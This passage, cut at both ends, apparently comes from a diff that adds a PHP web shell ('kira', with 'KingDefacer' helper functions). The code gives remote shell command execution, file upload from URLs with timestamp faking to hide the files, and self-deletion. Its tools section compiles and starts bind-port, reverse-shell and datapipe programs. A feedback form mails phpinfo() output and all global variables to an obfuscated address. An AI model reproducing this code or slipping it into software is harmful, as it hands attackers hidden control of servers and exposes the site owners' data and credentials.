dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></center></form>"; +} +if ($act == "fsbuff") +{ + $arr_copy = $sess_data["copy"]; + $arr_cut = $sess_data["cut"]; + $arr = array_merge($arr_copy,$arr_cut); + if (count($arr) == 0) {echo "<center><b>Buffer is empty!</b></center>";} + else {echo "<b>File-System buffer</b><br><br>"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} +} +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using kira v.".$shver."!"; KingDefacerexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = KingDefacer_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("ZnJl Here was Fucked log code Q=="); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "kira v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"kira v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {KingDefacerfsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); KingDefacer_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); KingDefacer_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} KingDefacer_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); KingDefacer_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + KingDefacer_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + KingDefacer_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + KingDefacer_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; KingDefacerexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#000000 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "KingDefacer_bindport.pl"=>array("Using PERL","perl %path %port"), + "KingDefacer_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "KingDefacer_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "KingDefacer_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "KingDefacer_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "KingDefacer_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = KingDefacergetsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = KingDefacergetsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = KingDefacergetsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = 